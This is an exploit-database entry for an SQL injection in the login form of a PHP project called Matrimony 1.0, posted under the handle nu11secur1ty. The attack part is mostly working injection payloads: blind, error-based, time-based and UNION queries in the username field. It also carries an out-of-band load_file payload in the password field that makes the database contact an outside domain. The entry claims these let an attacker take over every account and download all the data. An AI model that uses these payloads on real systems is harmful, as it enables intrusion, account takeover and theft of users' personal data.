Lucene search

K
zdtNu11secur1ty1337DAY-ID-37445
HistoryMar 05, 2022 - 12:00 a.m.

Matrimony 1.0 SQL injection Vulnerability

2022-03-0500:00:00
nu11secur1ty
0day.today
176
## Title: Matrimony 1.0 SQLi 
## Author: nu11secur1ty
## Vendor: https://www.vetbossel.in/matrimony-project-php/
## Software: https://cutt.ly/LOHzKd0, https://www.vetbossel.in/matrimony-project-php/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/vetbossel.in/2022/Matrimony

## Description:
The password parameter appears to be vulnerable to SQL injection attacks. 
The payload '+(select load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+' was submitted in the password parameter. 
This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. 
The application interacted with that domain, indicating that the injected SQL query was executed. 
The attacker can take administrator account control and also of all accounts on this system, 
also the malicious user can download all information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: username=-5824' OR 4197=4197-- jrsh&password=i0C!o0b!U4'+(select load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'&op=Log in

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=VbMOEEMf' AND (SELECT 2589 FROM(SELECT COUNT(*),CONCAT(0x7178706b71,(SELECT (ELT(2589=2589,1))),0x71706a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gXFR&password=i0C!o0b!U4'+(select load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'&op=Log in

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=VbMOEEMf' AND (SELECT 4030 FROM (SELECT(SLEEP(5)))ciQI)-- nHot&password=i0C!o0b!U4'+(select load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'&op=Log in

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: username=-4629' UNION ALL SELECT CONCAT(0x7178706b71,0x505747504a524d546e7842785156787361686c546c6e695873646952794a545770586447467a4d6b,0x71706a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&password=i0C!o0b!U4'+(select load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'&op=Log in
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/vetbossel.in/2022/Matrimony)

## Proof and Exploit:
[href](https://streamable.com/7gggih)